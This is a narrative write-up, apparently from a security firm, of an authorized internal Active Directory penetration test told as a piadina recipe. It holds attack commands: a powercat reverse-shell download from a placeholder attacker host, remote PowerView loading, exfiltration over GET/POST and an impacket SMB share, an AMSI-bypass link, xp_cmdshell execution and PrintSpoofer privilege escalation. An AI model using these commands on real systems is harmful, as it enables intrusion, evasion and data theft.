piADina – Italian Recipe for Internal Penetration Testing
Read Time:17 Minute, 55 Second

piADina – Italian Recipe for Internal Penetration Testing

7 0

What you will read now is not a write-up, a to-do list of steps to follow or a standard to convey to those who are reading. It is simply a narrative.


A story of a hypothetical activity, taking its cue and anonymizing evidence from an actual test that we, Riccardo and Christopher aka partywave and calfcrusher, performed.

Like all good stories they should be told at the appropriate place and time, around a fire, over a cool drink or together under the stars.
We cannot do this, however, and so we decided to take you with us in to eat a much-loved piadina, a typical Italian dish that we share.


Some of you may not know it, and we take you to discover its recipe as if we were eating it together with this story in the pine forest.

Ingredients

The story begins with a few simple ingredients:

  • two attackers
  • 5 days of activity to conduct an internal penetration test
  • a VPN and a VDI on the internal network.

On the surface, common features like so many others, but because of the developments and challenges faced as well as to share we felt it was appropriate to tell about this activity.
Just as the basic ingredients flour, water, oil and salt make up a favolo dough we also need to clarify some distinctions we care about before proceeding to create the same favorable mix.

First, a major difference: penetration testing (PT) and red teaming (RT). There are different philosophies and in itself merits discussion but we would like to reiterate that this was not a RT activity:

  • The purpose of pen testing is not just to test your environment’s vulnerabilities, in different areas: network, mobile, web with their standard – ie OWASP. The goal is to identify the largest number of vulnerabilities and confirm their impact.
  • Red team is a comprehensive security assessment where ethical hackers simulate real-world attackers’ Tactics, Techniques, and Procedures (TTPs) on all aspects of an organization, including its people, processes, and technology infrastructure. Unlike traditional vulnerability scanning or penetration testing, which focuses on specific vulnerabilities, Red Teaming takes a holistic yet objective-based approach, providing organizations with a more accurate assessment of their security posture. The Red Team comprises highly skilled security professionals who take on the role of attackers to assess the effectiveness of an organization’s defensive measures.

In the real world, red teams exist to measure your posture AND your detection skills, while a penetration test only measures your posture.

In addition, it is important to understand the scope of the test. In this case, an Active Directory environment offered as Cloud-As-a-Service is considered. Therefore, it is to be considered that the test principal is an entity, but the target is different since it is externally managed and protected. It is no mystery that it is Microsoft or AWS that offers this service, consequently the test was performed against an environment managed and hardened by other provider.

Last but not least, that as the salt gives flavour to the recipe, on the other side there was in addition there was a SOC. Not expressly to our research but because they were correctly informed of the test eager to prove that they detected us.

The activity was on a single, large domain. So no trust, forest and so on.

Impasto

After presenting the ingredients we need to understand how they should be mixed and how to create the right mixture. Each recipe has its own techniques and tricks so that what is right in one case is wrong in the other.
We similarly had to deal with some unforeseen situations that led us to revise our methodology specifically for this activity.
First, the VPN did not work for almost three out of five days because the famous utilities had not been enabled. In addition to this the VDI, only one for both, had been created with a timeout that caused it to disconnect the account in case of low inactivity, about 5 minutes. Plus the VDI couldn’t mount any share or folders.


Did this make us happy? Certainly not, but as mentioned it gave us some ideas to work in a new way. In fact, if for a few minutes you read Hacktricks, watched Bloodhound, or took a break, the machine would disconnect, possibly nullifying part of the work done.

In particular, we managed to build a way of working, arising out of necessity, based on closely linked minimal tasks.

Formally we can describe it this way: at each iteration two simple and short tasks were created, one theoretical and one practical.

At iteration n+1, if both tasks were finished, the results were shared, otherwise whoever was free took on a task of the same type as the one they already had.
This resulted in almost constant discussion and interactions, improving results but significantly increasing effort and stress.

Hot the pan

Just as is the case with a piadina that has no leavened dough and is directly baked we quickly move on to the action.
The first step is how enumeration is usually done. And even in this case something had gone wrong, given the time available and the size of the network we should have been whitelisted by the protections so that we were observed but not blocked. This was not the case.

Innocently, we uploaded a tool that was immediately eaten up with classic hazard alerts. So we took a further step back and enumerated the protections and some restriction. Be careful that not all of them are designed strictly for security but can be annoying. The following is a machine only as an example:

So here we are:

IoavProtectionEnabled
    Data type: boolean
    Access type: Read-only
    Scan all downloaded files and attachments

AntispywareEnabled
    Data type: boolean
    Access type: Read-only
    Specifies whether Antispyware protection is enabled

AntivirusEnabled
    Data type: boolean
    Access type: Read-only
    Specifies whether Antivirus protection is enabled

BehaviorMonitorEnabled
    Data type: boolean
    Access type: Read-only
    Specifies whether behavior monitoring is enabled

AMServiceEnabled
    Data type: boolean
    Access type: Read-only
    If the AM Engine is enabled

Shortly we have Defender with TrendMicro Integration, AMSI and some more but Script Logging. Strange enough.

In any case, this helped us figure out what we could work on.

One way to partially solve several limitations present for loading tools and scripts is to load them from remote shares via SMB or using HTTPs.

This solution is particularly useful as the data loaded in this way is automatically encoded in base64 in order to avoid problems related to protocol specifications, but as a secondary effect it offers a way to make a small evasion by bypassing some defenses based on specific signatures or patterns.

# example with powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://[ATTACKER_IP]/powercat.ps1');powercat -c [ATTACKER_IP] -p [ATTACKER_PORT] -e cmd"

# example with PowerView
powershell iex (iwr http://172.16.100.130/PowerView -UseBasicParsing)

# using SMB
net use \\attacker.com\share /user:hs [REDACTED] 

Remember to use authentication over these requests and https to protect activity integrity and avoid that this traffic will be read.

Fortunately, by deploying our personal resources we were able to create a simple, useful and collaborative infrastructure on the fly.

Christopher provided a personal AWS instance with different protocols and Riccardo a domain with collaborative shells and an extensible website to handle several file upload types.

This was quite important since not only was the use of tools limited, but file exfiltration was even more restricted.

Cooking

At this point we are ready to cook, so let’s go.

The starting point was an assumed breach where we were local Administrator.

One of the very first step to collect data and assess AD environment size and configuration was to run SharpHound as Ingestor for BloodHound.
The size of the AD was quite huge:

  • more then 41.000 objects
  • thousands of groups
  • more than 400.000 edges
  • 9 domain admin
  • ~18 kerberoastable user besides krbtgt

Not only quite big but well managed.

All this information can be heavy to digest for bloodhound, in fact some queries make the GUI lag.
For this reason and in order to obtain more selected data, even in text format or as json, to then manipulate them we wrote some queries. Here are the most basic:

MATCH (n:User) WHERE n.description IS NOT NULL RETURN n.name,n.description
MATCH (n:User) WHERE n.hasspn=true RETURN n.samaccountname
MATCH (n:Group) WHERE n.description IS NOT NULL RETURN n.name,n.description

Neo4j, that is the real graph database easily handles these data. By doing some benchmark – and we did them – it can flawless handles 1 million nodes with 10 million edges. A lot can be written about neo4j, its heap and its Java code, but is out of scope. Keep the track!

And also a query that helps us to select more likely users who have an empty password without doing indiscriminate spray. This query is not perfect because it si probabilistic. It asks for users with passwordnotreqd so users that can ignore password policy thus blank password and have logged at the least one time.

MATCH (u:User {enabled: True, passwordnotreqd: True}) WHERE u.lastlogon > 0 RETURN u

A more elegant query was written to ask for the logon in the last 30 days, active account, ignore spn account and so on. But we didn’t save it … 🙁

Now go back to bloodhound and leave behind neo4j.

The zip file and every other file were exfiltrated from the VDI using one of the following techniques. They were sometimes interchangeable, sometimes one was better than the other:

# 1
# PRO: easy script, GET are easier to LOG
# CONS: long url, GET are easier to LOG
# zip file with password
# encode the zip using base64 single line
# send it in a GET
GET /upload/?aa89dbjkcjskncAGgucsbmk/zsihbdj==

# 2
# PRO: easy to build
# CONS: easy to be detect
POST /upload

[CONTENT_IN_BODY]

# 3 smb share
# PRO: easy to setup and LOG NTLMv2 hash
# CONS: easy to detect
(attacker) impacket-smbserver -smb2support [SHARE] [PATH_ATTACKER] -debug -comment test -user [USER] -password [PASSWORD] # setup an authenticated share

(victim) copy \\[SHARE]\[PATH_ATTACKER]\[FILE]

Keep in mind that we learned only at the end of the test that the service was offered as-a-service, so initially we were amazed to find almost no misconfiguration.

After that we went through SMB open shares and what kind of information they holds. Automatic enumeration is important but the manual part was the winning move.

Import-Module \\attacker.com\share\PowerView.ps1

Invoke-ShareFinder -Domain victim.org -CheckShareAccess

Backup       0                inopr-mingig-ifevm01
IAEngine26    0                inopr-mingig-ifevm03
IAEngine27    0                inopr-maxngig-cfevm01
.....

For the sake of simplicity we created a PowerView object that could be saved locally.

As you can see we automatically collected share using our local PowerView and an AMSI bypass. AMSI bypass let the attacker bypass signature checks on scripts and its runtime.

A useful reference is: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

After that we performed manual enumeration and refine automatic enumeration:

At this point our working method became functional. It was not possible for both of us to enter the VDI and proceed to enumerate. Every file or possibly useful information found by the practitioner was referred to the theorist who was looking for information about the theory connected to it. For example the hash type, how to crack a crypto file, how to use that specific extension, and so on.

In this way, after some explored shares and after having reversed several times we have built an idea on the nomenclature and policies of the organization.
Specifically file related they used access, a lot of .ini and .txt.

# names
[name][number]_backup
[name]_Users
Dispatch.[ext]
[name]Info

# most used extension
.ini
.txt
.mdb

# hash
md5
sha256

We collected several hash, usernames, personal identifiable information and some more. Cracking was a bit successfull without dedicated hardware using a custom wordlist and hashcat rules. However spraying was out of scope from the engagement rules.

3c7543c6e7d1bdb9f99baf039af39f40bv3ad349430163d7e23404a77d6297d0
278a3782777874a7d291e44f0957bf31873cd6bc267bcdaaee1c6da732784271
2e581dac2d58247bbe1a2775281546deba4905977d8bb7da69ad29b670edce93
ac1d8777907b1f04f713aef76f5fea736da79c096676837205a6e67b6e46114a
....

Flip it

The greatest risk at this point is being overwhelmed by the number of information and data to use and not being able to keep the thread. Fortunately, our personal iteration helped us to proceed with clear and precise steps otherwise we would have lost sync.

The scenario took a key turn when we were able to identify some credentials belonging to an MSSQL database:

Databases are goldmines because they offer a lot of information stored inside them and can often provide ways to execute system commands.

Another reference:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server

Because of MSSQL we needed xp_cmdshell to execute command and it was disabled. However we could enable the procedure from our powershell session – but still chained to a single VDI.

Keep in mind that not every account can perform the following enumeration, active stored procedures and do high privileges query. The account that we compromised was at the same level of sa account, so more or less a local SQL administrator.

Note: some screenshot will not match the creds in this article but we edited the files, screenshots and hash to create fake values.

Very nice! We had command execution, but this is not the end. This is a new beginning.

Now a master chef must be able to flip the piadina to cook it perfectly without break or burn one side. It is precisely the ability to keep it soft but slightly crunchy to be able to give the perfect twist to make it suitable for all condiments.

Similarly, upon explicit confirmation it was possible to explore the path opened by MSSQL without focusing exclusively on that. In fact, the purpose of a penetration test is to discover as many vulnerabilities as possible.

Again we let the tool SQLDump dump the information schema to have one of us offline to construct queries and the other on the VDI to perform the exploitation.

# username and other data are deleted or redacted

# dump 
Invoke-SQLDumpInfo -Verbose -Instance "10.10.10.10" -username "" -password "REDACTED"

# standard exploitation
Get-SQLQuery -Verbose -Instance "10.10.10.10" -username "" -password "REDACTED" -query "EXEC master..xp_cmdshell 'dir C:\\Users'"
# example query build offline the run
Get-SQLQuery -Verbose -Instance "10.10.10.10" -username "" -password "REDACTED" -query "use HRDTT; select * from [HRDTT Datadable]"

Password            : systemsecur3pass0
FTP HostName        : bccios.victim.org
FTP UserName        : hcc001994
FTP Password        : ftp1994BCC

# example query build offline the run
Get-SQLQuery -Verbose -Instance "10.10.10.10" -username "" -password "REDACTED" -query "use Dummy; select * from SystemParameters"

SuperPassword CurrentYear Processing VersionNumber
------------- ----------- ---------- -------------
kiikbiyt!!             2021      False 20001121

Thanks to what was obtained up it was possible to get more information. However, remembering that every bruteforce or spray was out-of-scope.

Some may wonder, but have you not been detected by the SOC? The answer is not yet and there were no conditions to make proper attention or evasion of everything that was used.

In particular a command made us get the first detection, which was followed by other despite attempts to evade on xp_cmdshell:

# form the detection output
# double \\ are used for powershell encoding
exec master..xp_cmdshell 'reg query 'HKEY_CURRENT_USER\\Software\\OpenSSH\Agent\\Keys''

Jumping directly at the end was not the command itself to be detected, in fact other payloads more dangerous were discarded and other harmless detected.

The output length led to alerts. We were able to confirm this with a fake payload in order to get SOC feedback:

E:\Apache24\cgi-bin\texis.exe unix:AAAAAAAAAAAAAAAAAAA[1000 other A]

Once we understood that we were good to go almost undected until we decided to test other vulnerabilities and do more noise such as Kerberoasting. For brevity they are omitted.

Before proceeding further was carried out enumeration on links, trust between databases, account permissions but remains outside the article.

Flavouring

At this point, three main avenues have been opened to continue the test from the information in our possession:

1) New privileges: The user we impersonated by earning RCE through the database was a service user joined in AD. There were in fact additional tickets to new shares and access to an entire subnet to which we did not initially have access. To continue on this path we simply repeated the enumeration with the new information in our possession. As a bonus addition it would have been great if some of the users on the DB who had authentication either through Windows or through Kerberos had logged in leaving the NTLM hash or ticket – unfortunately this did not happen.

2) Privesc: Because of the SeImpersonateprivilege that can execute a CreateProcessWithTokenW call, it would have been possible to perform privilege escalation and then enumerate the hashes and information as a local administrator. This route would have taken a long time since opening a bind shell was not allowed and the machine hosting the DB had very tight firewall rules and no Internet connection for exfiltration. Without a reverse shell the evasion process also became even longer, taking away the last remaining time in the test.

# theoric example
\\[SHARE]\PrintSpoofer.exe -i -c "copy [HIVES]"

However we tested the practical impact of this flaw using a clever attack chain.

Because the machine cannot reach us, using VDI or VPN connection we needed to find a common place to interact with the DB.
At the first we identified a writeable share for us that the MSSQL account can reach. It was a remote and almost empty share but it was good enough.
This place will be our host jump, because we had to load a .ps1 or some obfuscated .exe to perform the attack. In fact in the share protections are enabled and this time we couldn’t rely on remote loading from internet, but remote loading from this share is enough.

More precisely this share was even better protected – and the SOC got us again – but we were able to combine standard with custom obfuscation to demonstrate the attack to report it.

From a partial obfuscated script:

3) LSASS: The last option resided in the local NT AUTHORITY\SERVICE group to which the user belonged. With this privilege it would have been possible to do service hijacking or undermine LSASS to further compromise the machine or do privesc. Before proceeding with such operations usually permission is sought because of the possible disrupt, which in fact was denied.

sc sdshow redacted-serviceName

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWPDT;;;WD)

whoami /groups # list groups

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group

Since the purpose remains to find as many vulnerabilities as possible without creating disruptions and with the time remaining available we decided to enumerate again with the obtained grants and conclude with a scan of the internal network.

We took some time to scan internal network and find more security flaws:

Testing time was running out and the network was running out of thousands of hosts so we just manually confirmed the scan output and tried some of the credentials found specifically or by default within the most sensitive applications. Some known vulnerabilities have been confirmed.

And just like in a piadina you have to think about the toppings to put inside for taste, not to get dirty, not to weigh it down the choice has to be judicious and oriented to the final purpose also in this test it was. A classic choice, such as the piada rucola, crudo and squaquerone cheese.

As often happens in fact an intranet transmits a false sense of security because if it is not normally exposed to strangers is not able to receive threats. This is not true for two main reasons:

  • Internal Threats: Internal threats pose significant risks to organizations by potentially causing data breaches, financial losses, and reputational damage. These threats can originate from employees, contractors, or other insiders who misuse their access privileges, either maliciously or negligently.
  • Compromise a user or a machine: When an external attacker manages to get a compromise of a resource exposed in intranet is located in an open park unsafe from which you can make lateral movement and gain persistence

Clean the dishes

The test concluded with critical, high, medium and low vulnerabilities discovered.

In fact, the purpose of this article was not to demonstrate an innovative method, a perfect technique.
The goal was to report a portion of a real-world test, limited in time, resources, rules, and how there can be as simple as shrewd solutions to counteract problems and setbacks.

This article is intended to be a fairly real-life snapshot of a test done against a well-designed target in which against problems and in the many things to be done, teamwork, expertise and resources are the winning recipe. Like a piadina.

Outside, in the real world in fact, an attacker does not have these problems, in fact he often has more solutions.

Eventually all created files were removed, data erased, restored previous settings.

This recipe was a classic, raw squaquerone and arugula. Maybe the next piADina will be more special, see you next time!

provided by Hacktive Security

See you at the next recipe,

partywave and calfcrusher

Happy
Happy
17 %
Sad
Sad
0 %
Excited
Excited
83 %
Sleepy
Sleepy
0 %
Angry
Angry
0 %
Surprise
Surprise
0 %
Previous post CVE-2024-32651 – Server Side Template Injection (Changedetection.io)